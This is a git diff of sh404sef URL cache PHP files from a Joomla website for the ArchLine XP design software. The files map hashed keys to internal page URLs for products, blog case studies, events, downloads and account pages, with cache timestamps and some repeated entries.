+$this->_urlCache['f4ffe8554ac60e63f2039f3676efab39']='index.php?option=com_sppagebuilder&Itemid=755&id=298&lang=en&view=page#overview/new-in-archline-xp#1'; +$this->_urlCache['e9a3336b7ebc3702488dd41f3590517e']='index.php?option=com_sppagebuilder&Itemid=781&id=330&lang=en&view=page#products/ai-render#0'; +$this->_urlCache['26023f5c4937006d6c2d4e69088df852']='index.php?option=com_sppagebuilder&Itemid=784&id=335&lang=en&view=page#products/d5-render-plugin#0'; +$this->_urlCache['43ffebdf3f6ebec651238c5dd7473a88']='index.php?option=com_sppagebuilder&Itemid=779&id=329&lang=en&view=page#products/viewer-mobile-app#0'; +$this->_urlCache['b1197deee56aade3f492f51fcc87a3fc']='index.php?option=com_sppagebuilder&Itemid=770&id=319&lang=en&view=page#overview/new-in-archline-xp-2025#1'; +$this->_urlCache['03ea5b26a44fa74ce6df1f1eaab7a474']='index.php?option=com_sppagebuilder&Itemid=795&id=350&lang=en&view=page#products/new-in-archline-xp-2026#0'; +$this->_urlCache['18a33b9710de4b47ec84c02ec9ee743b']='index.php?option=com_sppagebuilder&Itemid=186&id=238&lang=en&view=page#products/archline-xp-professional/why-switch-to-archline-xp#0'; +$this->_urlCache['50e7c20a122d2011a80234cedc2b1583']='index.php?option=com_content&Itemid=367&id=25&lang=en&layout=blog&view=category#blog/professional-articles/#0'; +$this->_urlCache['11550a4115893232d07705f50f34cc1b']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&view=category#blog/case-studies/#0'; +$this->_urlCache['1d6ebd989407e5a63fedcbbf418f3e3c']='index.php?option=com_sppagebuilder&Itemid=381&id=104&lang=en&view=page#products/archline-xp-professional/gallery#1'; +$this->_urlCache['a4e645a32011e6ddb9c8cb4198b9c7c5']='index.php?option=com_sppagebuilder&Itemid=758&id=305&lang=en&view=page#products/archline-xp-professional/gallery/architecture-gallery#1'; +$this->_urlCache['a815b60769070f8dcec0fd0630cfb974']='index.php?option=com_sppagebuilder&Itemid=759&id=306&lang=en&view=page#products/archline-xp-professional/gallery/interior-design-gallery#1'; +$this->_urlCache['46de232edf875022816c73c2a201ad54']='index.php?option=com_sppagebuilder&Itemid=780&id=334&lang=en&view=page#blog/gallery/ai-render-gallery#0'; +$this->_urlCache['c78ac799e55ac080325aa5f46b8004a7']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$this->_urlCache['6020482d7638f63732f4793f2c73b8e8']='index.php?option=com_sppagebuilder&Itemid=798&id=352&lang=en&view=page#blog/interior-designer-of-the-year-2025#0'; +$this->_urlCache['d584f65933adf5da9b4d1af814f9305e']='index.php?option=com_sppagebuilder&Itemid=800&id=354&lang=en&view=page#blog/room-of-the-year-2026#0'; +$this->_urlCache['39da92730a8669427a038ccd12ba5123']='index.php?option=com_sppagebuilder&Itemid=796&id=351&lang=en&view=page#blog/bathroom-of-the-year-2026#0'; +$this->_urlCache['400ab1f1fa9858eeb4276c571ba8d1e8']='index.php?option=com_sppagebuilder&Itemid=785&id=338&lang=en&view=page#blog/best-graduation-project-of-the-year-2025-winners#0'; +$this->_urlCache['993fc0639ed77eff95ac9c584237526b']='index.php?option=com_sppagebuilder&Itemid=776&id=326&lang=en&view=page#blog/rendering-competition-2025-winners#0'; +$this->_urlCache['77c664779862803822b16620b1d7a680']='index.php?option=com_sppagebuilder&Itemid=772&id=323&lang=en&view=page#blog/interior-designer-of-the-year-2024#0'; +$this->_urlCache['4bdc1f6e1cf92cfbaa498d9ca7c9ecd1']='index.php?option=com_sppagebuilder&Itemid=774&id=324&lang=en&view=page#blog/room-of-the-year-2025#0'; +$this->_urlCache['8fdf4d38aebd9ce77bbbab006671762e']='index.php?option=com_sppagebuilder&Itemid=771&id=320&lang=en&view=page#blog/professional-articles/bathroom-of-the-year-2025#0'; +$this->_urlCache['a3c687225e1b1eccdb8d039405a05169']='index.php?option=com_sppagebuilder&Itemid=763&id=311&lang=en&view=page#blog/rendering-competition-winner#0'; +$this->_urlCache['4e9d7de997773748c94bc2a17d9f0e49']='index.php?option=com_sppagebuilder&Itemid=708&id=270&lang=en&view=page#education/workshops#1'; +$this->_urlCache['31038d9de96a4b5386132708f5bd6191']='index.php?option=com_sppagebuilder&Itemid=760&id=308&lang=en&view=page#education/courses/video-archive#0'; +$this->_urlCache['faea1e4ab2a4556a9f02ed93a4cdedf1']='index.php?option=com_sppagebuilder&Itemid=788&id=340&lang=en&view=page#events/exhibitions#1'; +$this->_urlCache['0b150152d00eeffcb9b30e7bd3fc6cd9']='index.php?option=com_sppagebuilder&Itemid=787&id=339&lang=en&view=page#education/events/2025-update-day-november#0'; +$this->_urlCache['db43701b506a7cbaa683d2de7732509a']='index.php?option=com_sppagebuilder&Itemid=789&id=341&lang=en&view=page#education/events/update-day#0'; +$this->_urlCache['50ddce6b31e3c21d2b8e01e7452b5530']='index.php?option=com_sppagebuilder&Itemid=790&id=343&lang=en&view=page#education/bim-world-munich-2025#0'; +$this->_urlCache['585d9d93996408d9c4b7c9cae31e0362']='index.php?option=com_sppagebuilder&Itemid=791&id=345&lang=en&view=page#education/events/acetech-expo-mumbai-2025#0'; +$this->_urlCache['1585a146f47bf898c5f08885e094c0b0']='index.php?option=com_sppagebuilder&Itemid=792&id=347&lang=en&view=page#education/events/gstarsoft-shanghai-2025#0'; +$this->_urlCache['e247cbee36564c55aeb0187964d4ad71']='index.php?option=com_sppagebuilder&Itemid=793&id=348&lang=en&view=page#education/events/archlinexp-gstarcad-student-competition-2025#1'; +$this->_urlCache['f701dbe0c20a7118ab9ae3602d7a806d']='index.php?option=com_sppagebuilder&Itemid=794&id=349&lang=en&view=page#education/events/technical-partner-meeting-budapest-2026#0'; +$this->_urlCache['dc5093cdc7532297e3af83560ffafcac']='index.php?option=com_sppagebuilder&Itemid=799&id=353&lang=en&view=page#education/events/holz-handwerk-nuremberg-2026#0'; +$this->_urlCache['560895a4664ca8458040bbd4b1306705']='index.php?option=com_sppagebuilder&Itemid=210&id=119&lang=en&view=page#education/support#0'; +$this->_urlCache['eb89234628d2ed72dfc4e5aa141d64f8']='index.php?option=com_sppagebuilder&Itemid=107&id=86&lang=en&view=page#contact/contact-us#0'; +$this->_urlCache['b8335ea40ca1247ecce6136a1518c6bb']='index.php?option=com_sppagebuilder&Itemid=427&id=125&lang=en&view=page#contact/where-to-buy#1'; +$this->_urlCache['42aee7e40b5e0e5646f2201b751e2603']='index.php?option=com_sppagebuilder&Itemid=725&id=274&lang=en&view=page#contact/become-a-reseller#0'; +$this->_urlCache['913112ebec3fef7299502ee2dcb25eb6']='index.php?option=com_sppagebuilder&Itemid=732&id=275&lang=en&view=page#contact/subscribe-to-our-newsletter#0'; +$this->_urlCache['5714ba871179a805755c289a85e879b4']='index.php?option=com_sppagebuilder&Itemid=222&id=300&lang=en&view=page#buy#0'; +$this->_urlCache['97c2c9d03d08994976639b02bfc7fed3']='index.php?option=com_sppagebuilder&Itemid=782&id=332&lang=en&view=page#buy/ai-render#0'; +$this->_urlCache['998042f40ec5c0b4c5669e2b9764f962']='index.php?option=com_sppagebuilder&Itemid=595&id=93&lang=en&view=page#download/free-trial#0'; +$this->_urlCache['2ccbb745171c12d1f53cf3e81abe5e28']='index.php?option=com_sppagebuilder&Itemid=213&id=56&lang=en&view=page#download/download-center#0'; +$this->_urlCache['8796eddfcb649df66883003d61091397']='index.php?option=com_sppagebuilder&Itemid=215&id=60&lang=en&view=page#download/download-center/downloadable-applications#1'; +$this->_urlCache['e5f82e822c2fd9cc19783c36ee00a3cc']='index.php?option=com_sppagebuilder&Itemid=321&id=62&lang=en&view=page#download/download-center/downloadable-applications/drivers#1'; +$this->_urlCache['a2aaf9d2bda167aaf4a1f195ab71d2fe']='index.php?option=com_sppagebuilder&Itemid=223&id=48&lang=en&view=page#user#0'; +$this->_urlCache['efaed8319b0cf0439fc3f1d3bbaf1919']='index.php?option=com_sppagebuilder&Itemid=622&id=220&lang=en&view=page#al-licences#0'; +$this->_urlCache['bc373afb46f21a43a623ee7a9fa71999']='index.php?option=com_sppagebuilder&Itemid=623&id=221&lang=en&view=page#products/archline-xp-professional/new-in-archline-xp-2020#1'; +$this->_urlCache['20e269c5aee9957547e7898da4d96db3']='index.php?option=com_sppagebuilder&Itemid=749&id=288&lang=en&view=page#warehouse/terms-of-use#1'; +$this->_urlCache['4fe306ed8f7aacca262e4ab88eb888cf']='index.php?option=com_sppagebuilder&Itemid=777&id=327&lang=en&view=page#rendering-competition-2025-winners-archline-render#0'; +$this->_urlCache['6751bf8c8e55816422fcf90b9594eee7']='index.php?option=com_sppagebuilder&Itemid=778&id=328&lang=en&view=page#rendering-competition-2025-winners-d5-render#0'; +$shURLCacheCreationDate=1778716477; +$this->_urlCache['7344e426a543455c5a41b3090eaa6fc0']='index.php?option=com_users&Itemid=124&lang=en&view=login#log-in/#0'; +$shURLCacheCreationDate=1778964057; +$this->_urlCache['fb135f70c1a646673cf8ac7350350770']='index.php?option=com_sppagebuilder&Itemid=223&id=48&lang=en&layout=edit&tmpl=component&view=form#48-user/edit#0'; +$this->_urlCache['13002458b8474b168abeba37fb977b35']='index.php?option=com_users&Itemid=&lang=en&view=registration#create-an-account/#0'; +$this->_urlCache['f7ef08960efcad6bb6a7fc94ecade912']='index.php?option=com_users&Itemid=&lang=en&view=remind#lost-user-name/#0'; +$this->_urlCache['b4702119b18e0362fae662f68ec6191f']='index.php?option=com_users&Itemid=&lang=en&view=reset#lost-password/#0'; +$shURLCacheCreationDate=1778964059; +$this->_urlCache['80089ac898e121d119357dc921dcc889']='index.php?option=com_content&Itemid=366&catid=24&id=899&lang=en&view=article#blog/case-studies/terras-alphaville-lilian-cortes-brazil#1'; +$shURLCacheCreationDate=1779203796; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1779410905; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1779410906; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1779410906; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1779410907; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1779410907; +$this->_urlCache['12741ddef6a8da66d17ec95a130dcfb9']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&view=page#blog/rendering-competition-2026-winners#0'; +$shURLCacheCreationDate=1782190148; +$this->_urlCache['12741ddef6a8da66d17ec95a130dcfb9']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&view=page#blog/rendering-competition-2026-winners#0'; +$shURLCacheCreationDate=1782190149; +$this->_urlCache['12741ddef6a8da66d17ec95a130dcfb9']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&view=page#blog/rendering-competition-2026-winners#0'; +$shURLCacheCreationDate=1782190149; +$this->_urlCache['12741ddef6a8da66d17ec95a130dcfb9']='index.php?option=com_sppagebuilder&Itemid=801&id=355&lang=en&view=page#blog/rendering-competition-2026-winners#0'; +$shURLCacheCreationDate=1782190150; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782825915; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782825916; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782825916; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782825917; +$this->_urlCache['6b754045dbc0c70c20b778efcfcf0b7d']='index.php?option=com_sppagebuilder&Itemid=802&id=356&lang=en&view=page#contact/about-us#0'; +$shURLCacheCreationDate=1782825917; +$this->_urlCache['a520a57f0c41350dbcd1cb8aba43875c']='index.php?option=com_sppagebuilder&Itemid=803&id=357&lang=en&view=page#products/archlinexp-2026-r1#0'; +$shURLCacheCreationDate=1783736676; \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.efec898659ae35934839e1b0fbdf1de7.php b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.efec898659ae35934839e1b0fbdf1de7.php new file mode 100644 index 00000000..2545b597 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.efec898659ae35934839e1b0fbdf1de7.php @@ -0,0 +1,1766 @@ +_urlCache['f7ef08960efcad6bb6a7fc94ecade912']='index.php?option=com_users&Itemid=&lang=en&view=remind#lost-user-name/#0'; +$this->_urlCache['b4702119b18e0362fae662f68ec6191f']='index.php?option=com_users&Itemid=&lang=en&view=reset#lost-password/#0'; +$this->_urlCache['13002458b8474b168abeba37fb977b35']='index.php?option=com_users&Itemid=&lang=en&view=registration#create-an-account/#0'; +$this->_urlCache['017d5c2a2996653986dd70bf74da54b6']='index.php?option=com_sppagebuilder&Itemid=753&id=296&lang=en&view=page#overview#1'; +$this->_urlCache['8e4fda10905afb89dbab09eb337df278']='index.php?option=com_sppagebuilder&Itemid=751&id=294&lang=en&view=page#overview/architectural-benefits#1'; +$this->_urlCache['701ff2e9d4a4222059d2307afb9305e1']='index.php?option=com_sppagebuilder&Itemid=752&id=295&lang=en&view=page#overview/interior-design-benefits#1'; +$this->_urlCache['79ea7f836cbff67f08cbee2cdd8a8b52']='index.php?option=com_sppagebuilder&Itemid=754&id=297&lang=en&view=page#overview/visual-design#1'; +$this->_urlCache['910055e938b6e115236d4814e48ff1fc']='index.php?option=com_sppagebuilder&Itemid=756&id=299&lang=en&view=page#overview/photorealistic-visualisation#1'; +$this->_urlCache['78bdb26d841135466538a560d02f5408']='index.php?option=com_sppagebuilder&Itemid=722&id=272&lang=en&view=page#products/compare-versions#0'; +$this->_urlCache['f4ffe8554ac60e63f2039f3676efab39']='index.php?option=com_sppagebuilder&Itemid=755&id=298&lang=en&view=page#overview/new-in-archline-xp#1'; +$this->_urlCache['e9a3336b7ebc3702488dd41f3590517e']='index.php?option=com_sppagebuilder&Itemid=781&id=330&lang=en&view=page#products/ai-render#0'; +$this->_urlCache['26023f5c4937006d6c2d4e69088df852']='index.php?option=com_sppagebuilder&Itemid=784&id=335&lang=en&view=page#products/d5-render-plugin#0'; +$this->_urlCache['43ffebdf3f6ebec651238c5dd7473a88']='index.php?option=com_sppagebuilder&Itemid=779&id=329&lang=en&view=page#products/viewer-mobile-app#0'; +$this->_urlCache['b1197deee56aade3f492f51fcc87a3fc']='index.php?option=com_sppagebuilder&Itemid=770&id=319&lang=en&view=page#overview/new-in-archline-xp-2025#1'; +$this->_urlCache['03ea5b26a44fa74ce6df1f1eaab7a474']='index.php?option=com_sppagebuilder&Itemid=795&id=350&lang=en&view=page#products/new-in-archline-xp-2026#0'; +$this->_urlCache['18a33b9710de4b47ec84c02ec9ee743b']='index.php?option=com_sppagebuilder&Itemid=186&id=238&lang=en&view=page#products/archline-xp-professional/why-switch-to-archline-xp#0'; +$this->_urlCache['50e7c20a122d2011a80234cedc2b1583']='index.php?option=com_content&Itemid=367&id=25&lang=en&layout=blog&view=category#blog/professional-articles/#0'; +$this->_urlCache['11550a4115893232d07705f50f34cc1b']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&view=category#blog/case-studies/#0'; +$this->_urlCache['1d6ebd989407e5a63fedcbbf418f3e3c']='index.php?option=com_sppagebuilder&Itemid=381&id=104&lang=en&view=page#products/archline-xp-professional/gallery#1'; +$this->_urlCache['a4e645a32011e6ddb9c8cb4198b9c7c5']='index.php?option=com_sppagebuilder&Itemid=758&id=305&lang=en&view=page#products/archline-xp-professional/gallery/architecture-gallery#1'; +$this->_urlCache['a815b60769070f8dcec0fd0630cfb974']='index.php?option=com_sppagebuilder&Itemid=759&id=306&lang=en&view=page#products/archline-xp-professional/gallery/interior-design-gallery#1'; +$this->_urlCache['46de232edf875022816c73c2a201ad54']='index.php?option=com_sppagebuilder&Itemid=780&id=334&lang=en&view=page#blog/gallery/ai-render-gallery#0'; +$this->_urlCache['c78ac799e55ac080325aa5f46b8004a7']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&view=category#archline-xp/gallery/picture-of-the-month/#0'; +$this->_urlCache['6020482d7638f63732f4793f2c73b8e8']='index.php?option=com_sppagebuilder&Itemid=798&id=352&lang=en&view=page#blog/interior-designer-of-the-year-2025#0'; +$this->_urlCache['d584f65933adf5da9b4d1af814f9305e']='index.php?option=com_sppagebuilder&Itemid=800&id=354&lang=en&view=page#blog/room-of-the-year-2026#0'; +$this->_urlCache['39da92730a8669427a038ccd12ba5123']='index.php?option=com_sppagebuilder&Itemid=796&id=351&lang=en&view=page#blog/bathroom-of-the-year-2026#0'; +$this->_urlCache['400ab1f1fa9858eeb4276c571ba8d1e8']='index.php?option=com_sppagebuilder&Itemid=785&id=338&lang=en&view=page#blog/best-graduation-project-of-the-year-2025-winners#0'; +$this->_urlCache['993fc0639ed77eff95ac9c584237526b']='index.php?option=com_sppagebuilder&Itemid=776&id=326&lang=en&view=page#blog/rendering-competition-2025-winners#0'; +$this->_urlCache['77c664779862803822b16620b1d7a680']='index.php?option=com_sppagebuilder&Itemid=772&id=323&lang=en&view=page#blog/interior-designer-of-the-year-2024#0'; +$this->_urlCache['4bdc1f6e1cf92cfbaa498d9ca7c9ecd1']='index.php?option=com_sppagebuilder&Itemid=774&id=324&lang=en&view=page#blog/room-of-the-year-2025#0'; +$this->_urlCache['8fdf4d38aebd9ce77bbbab006671762e']='index.php?option=com_sppagebuilder&Itemid=771&id=320&lang=en&view=page#blog/professional-articles/bathroom-of-the-year-2025#0'; +$this->_urlCache['a3c687225e1b1eccdb8d039405a05169']='index.php?option=com_sppagebuilder&Itemid=763&id=311&lang=en&view=page#blog/rendering-competition-winner#0'; +$this->_urlCache['4e9d7de997773748c94bc2a17d9f0e49']='index.php?option=com_sppagebuilder&Itemid=708&id=270&lang=en&view=page#education/workshops#1'; +$this->_urlCache['31038d9de96a4b5386132708f5bd6191']='index.php?option=com_sppagebuilder&Itemid=760&id=308&lang=en&view=page#education/courses/video-archive#0'; +$this->_urlCache['faea1e4ab2a4556a9f02ed93a4cdedf1']='index.php?option=com_sppagebuilder&Itemid=788&id=340&lang=en&view=page#events/exhibitions#1'; +$this->_urlCache['0b150152d00eeffcb9b30e7bd3fc6cd9']='index.php?option=com_sppagebuilder&Itemid=787&id=339&lang=en&view=page#education/events/2025-update-day-november#0'; +$this->_urlCache['db43701b506a7cbaa683d2de7732509a']='index.php?option=com_sppagebuilder&Itemid=789&id=341&lang=en&view=page#education/events/update-day#0'; +$this->_urlCache['50ddce6b31e3c21d2b8e01e7452b5530']='index.php?option=com_sppagebuilder&Itemid=790&id=343&lang=en&view=page#education/bim-world-munich-2025#0'; +$this->_urlCache['585d9d93996408d9c4b7c9cae31e0362']='index.php?option=com_sppagebuilder&Itemid=791&id=345&lang=en&view=page#education/events/acetech-expo-mumbai-2025#0'; +$this->_urlCache['1585a146f47bf898c5f08885e094c0b0']='index.php?option=com_sppagebuilder&Itemid=792&id=347&lang=en&view=page#education/events/gstarsoft-shanghai-2025#0'; +$this->_urlCache['e247cbee36564c55aeb0187964d4ad71']='index.php?option=com_sppagebuilder&Itemid=793&id=348&lang=en&view=page#education/events/archlinexp-gstarcad-student-competition-2025#1'; +$this->_urlCache['f701dbe0c20a7118ab9ae3602d7a806d']='index.php?option=com_sppagebuilder&Itemid=794&id=349&lang=en&view=page#education/events/technical-partner-meeting-budapest-2026#0'; +$this->_urlCache['dc5093cdc7532297e3af83560ffafcac']='index.php?option=com_sppagebuilder&Itemid=799&id=353&lang=en&view=page#education/events/holz-handwerk-nuremberg-2026#0'; +$this->_urlCache['560895a4664ca8458040bbd4b1306705']='index.php?option=com_sppagebuilder&Itemid=210&id=119&lang=en&view=page#education/support#0'; +$this->_urlCache['eb89234628d2ed72dfc4e5aa141d64f8']='index.php?option=com_sppagebuilder&Itemid=107&id=86&lang=en&view=page#contact/contact-us#0'; +$this->_urlCache['b8335ea40ca1247ecce6136a1518c6bb']='index.php?option=com_sppagebuilder&Itemid=427&id=125&lang=en&view=page#contact/where-to-buy#1'; +$this->_urlCache['42aee7e40b5e0e5646f2201b751e2603']='index.php?option=com_sppagebuilder&Itemid=725&id=274&lang=en&view=page#contact/become-a-reseller#0'; +$this->_urlCache['913112ebec3fef7299502ee2dcb25eb6']='index.php?option=com_sppagebuilder&Itemid=732&id=275&lang=en&view=page#contact/subscribe-to-our-newsletter#0'; +$this->_urlCache['5714ba871179a805755c289a85e879b4']='index.php?option=com_sppagebuilder&Itemid=222&id=300&lang=en&view=page#buy#0'; +$this->_urlCache['97c2c9d03d08994976639b02bfc7fed3']='index.php?option=com_sppagebuilder&Itemid=782&id=332&lang=en&view=page#buy/ai-render#0'; +$this->_urlCache['998042f40ec5c0b4c5669e2b9764f962']='index.php?option=com_sppagebuilder&Itemid=595&id=93&lang=en&view=page#download/free-trial#0'; +$this->_urlCache['2ccbb745171c12d1f53cf3e81abe5e28']='index.php?option=com_sppagebuilder&Itemid=213&id=56&lang=en&view=page#download/download-center#0'; +$this->_urlCache['8796eddfcb649df66883003d61091397']='index.php?option=com_sppagebuilder&Itemid=215&id=60&lang=en&view=page#download/download-center/downloadable-applications#1'; +$this->_urlCache['e5f82e822c2fd9cc19783c36ee00a3cc']='index.php?option=com_sppagebuilder&Itemid=321&id=62&lang=en&view=page#download/download-center/downloadable-applications/drivers#1'; +$this->_urlCache['a2aaf9d2bda167aaf4a1f195ab71d2fe']='index.php?option=com_sppagebuilder&Itemid=223&id=48&lang=en&view=page#user#0'; +$this->_urlCache['efaed8319b0cf0439fc3f1d3bbaf1919']='index.php?option=com_sppagebuilder&Itemid=622&id=220&lang=en&view=page#al-licences#0'; +$this->_urlCache['bc373afb46f21a43a623ee7a9fa71999']='index.php?option=com_sppagebuilder&Itemid=623&id=221&lang=en&view=page#products/archline-xp-professional/new-in-archline-xp-2020#1'; +$this->_urlCache['20e269c5aee9957547e7898da4d96db3']='index.php?option=com_sppagebuilder&Itemid=749&id=288&lang=en&view=page#warehouse/terms-of-use#1'; +$this->_urlCache['4fe306ed8f7aacca262e4ab88eb888cf']='index.php?option=com_sppagebuilder&Itemid=777&id=327&lang=en&view=page#rendering-competition-2025-winners-archline-render#0'; +$this->_urlCache['6751bf8c8e55816422fcf90b9594eee7']='index.php?option=com_sppagebuilder&Itemid=778&id=328&lang=en&view=page#rendering-competition-2025-winners-d5-render#0'; +$shURLCacheCreationDate=1777888508; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1777888525; +$this->_urlCache['8eabb91f3fdbfcba38ff1568495cdbe9']='index.php?option=com_sppagebuilder&Itemid=124&id=289&lang=en&layout=edit&tmpl=component&view=form#edit/289#0'; +$shURLCacheCreationDate=1777888526; +$this->_urlCache['73e87ca79dd3c82aefeb26995db2b696']='index.php?option=com_sppagebuilder&id=100&lang=en&view=page#error/404#1'; +$shURLCacheCreationDate=1777888527; +$this->_urlCache['a0cdbdaeef32c34e76fe8edd78e672d1']='index.php?option=com_sppagebuilder&Itemid=0&id=100&lang=en&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$shURLCacheCreationDate=1777888527; +$this->_urlCache['014eade04f40214bd3bb13eb9a5abff8']='index.php?option=com_users&lang=en&view=registration#create-an-account/#0'; +$shURLCacheCreationDate=1777888531; +$this->_urlCache['477889625ee35add7a9df3d90fafc9c3']='index.php?option=com_users&Itemid=124&lang=en&view=registration#create-an-account/#0'; +$shURLCacheCreationDate=1777888536; +$this->_urlCache['cc550ccbe2fc6e3b0e894dc8c042710d']='index.php?option=com_sppagebuilder&Itemid=785&id=338&lang=en&layout=edit&tmpl=component&view=form#edit/338#0'; +$shURLCacheCreationDate=1777888546; +$this->_urlCache['7ea5f0a0cb6c505aeabcf8fe5fd8d11e']='index.php?option=com_content&Itemid=367&catid=25&id=863&lang=en&view=article#blog/professional-articles/5-reasons-why-you-should-invest-in-real-time-rendering#0'; +$shURLCacheCreationDate=1777888550; +$this->_urlCache['9f839fc6bcda147d7d8be915d195db16']='index.php?option=com_content&Itemid=366&catid=24&id=782&lang=en&view=article#blog/case-studies/residential-project-with-archline-xp#0'; +$this->_urlCache['cbb995ebf24ef7b2ea151a62aec991b8']='index.php?option=com_jsn&Itemid=&id=12986&lang=en&view=profile#erika.bogararchlinexp.com.html#0'; +$shURLCacheCreationDate=1777888555; +$this->_urlCache['081cd3a9772f15b6a02fdb5d9e817246']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=rss&view=category#blog/design-projects/feed/rss#0'; +$this->_urlCache['f62e1c92bee76eb8a36d6e62881fd06b']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=atom&view=category#blog/design-projects/feed/atom#0'; +$this->_urlCache['5e68ad7b3f1fd7cd845edd277a64f464']='index.php?option=com_content&Itemid=366&catid=24&id=1086&lang=en&view=article#blog/case-studies/laura-puskas-graduation-project-featured-work#0'; +$this->_urlCache['03c4c6ae09a357eba9d720b7f14fba00']='index.php?option=com_content&Itemid=366&catid=24&id=1083&lang=en&view=article#blog/case-studies/katalin-palffy-graduation-project-featured-work#0'; +$this->_urlCache['229110b80e5ef25325cfaaa15e5a03cf']='index.php?option=com_content&Itemid=366&catid=24&id=1082&lang=en&view=article#blog/case-studies/nora-filone-rozgonyi-graduation-project-featured-work#0'; +$this->_urlCache['9ea34ec4d6d1e8d027618a843fa086a0']='index.php?option=com_content&Itemid=366&catid=24&id=1081&lang=en&view=article#blog/case-studies/csenge-szeles-graduation-project-featured-work#0'; +$this->_urlCache['981f84dd04b0d5cc5c604f99fcd33022']='index.php?option=com_content&Itemid=366&catid=24&id=1080&lang=en&view=article#blog/case-studies/szilvia-qerimi-nemeti-graduation-project-professional-award-third-place#0'; +$this->_urlCache['9ee01490cf6493333d3f03c7236525db']='index.php?option=com_content&Itemid=366&catid=24&id=1079&lang=en&view=article#blog/case-studies/zsofia-eke-ranga-graduation-project-professional-award-third-place#0'; +$this->_urlCache['09b16e60182442fd116980c00c004d83']='index.php?option=com_content&Itemid=366&catid=24&id=1078&lang=en&view=article#blog/case-studies/tamara-tihany-graduation-project-professional-award-second-place#1'; +$this->_urlCache['a29db52b0be4f10ba7170e3d515ed539']='index.php?option=com_content&Itemid=366&catid=24&id=1077&lang=en&view=article#blog/case-studies/dorka-pakodi-graduation-project-professional-grand-prize#0'; +$this->_urlCache['c2b3984245dc65e639e3a6155a6ae5fe']='index.php?option=com_content&Itemid=366&catid=24&id=1070&lang=en&view=article#blog/case-studies/exclusive-modern-bathroom#0'; +$this->_urlCache['e02fc7667aaabca5ba209a865dc59c3a']='index.php?option=com_content&Itemid=366&catid=24&id=1071&lang=en&view=article#blog/case-studies/a-masterpiece-in-15-square-meters-in-budapest#0'; +$this->_urlCache['044dd4771f3ec7e7056ea25aad1db096']='index.php?option=com_content&Itemid=366&catid=24&id=1074&lang=en&view=article#blog/case-studies/archlinexp-2025-d5-render-ferenczi-eva#0'; +$this->_urlCache['c149953e86eb725beeee54414f8096c6']='index.php?option=com_content&Itemid=366&catid=24&id=1069&lang=en&view=article#blog/case-studies/the-harmony-of-comfort-and-style-in-a-modern-bathroom#0'; +$this->_urlCache['0462993f323f0e73c0bcf29294ffa2b4']='index.php?option=com_content&Itemid=366&catid=24&id=1073&lang=en&view=article#blog/case-studies/floor-plan-sketches-for-spatial-orientation#0'; +$this->_urlCache['de26c1df6e55c5f2c47b0b096b74326d']='index.php?option=com_content&Itemid=366&catid=24&id=1072&lang=en&view=article#blog/case-studies/crimson-accents-and-quiet-luxury-an-award-winning-home#0'; +$this->_urlCache['5fd745b03c3bff66b2b3666316beb15e']='index.php?option=com_content&Itemid=366&catid=24&id=1068&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-eva-ferenczi#0'; +$this->_urlCache['ede0a13fdfc1588033b93e3f74e7d169']='index.php?option=com_content&Itemid=366&catid=24&id=1067&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-klaudia-aranyi#0'; +$this->_urlCache['6fb223a86c75142318de4f3cbfc7d221']='index.php?option=com_content&Itemid=366&catid=24&id=1066&lang=en&view=article#blog/case-studies/natural-elegance-in-a-modern-form#0'; +$this->_urlCache['1e9556d60e6bae62ad2cb914a474a633']='index.php?option=com_content&Itemid=366&catid=24&id=1065&lang=en&view=article#blog/case-studies/the-beginning-of-a-dream-on-34-square-meters#0'; 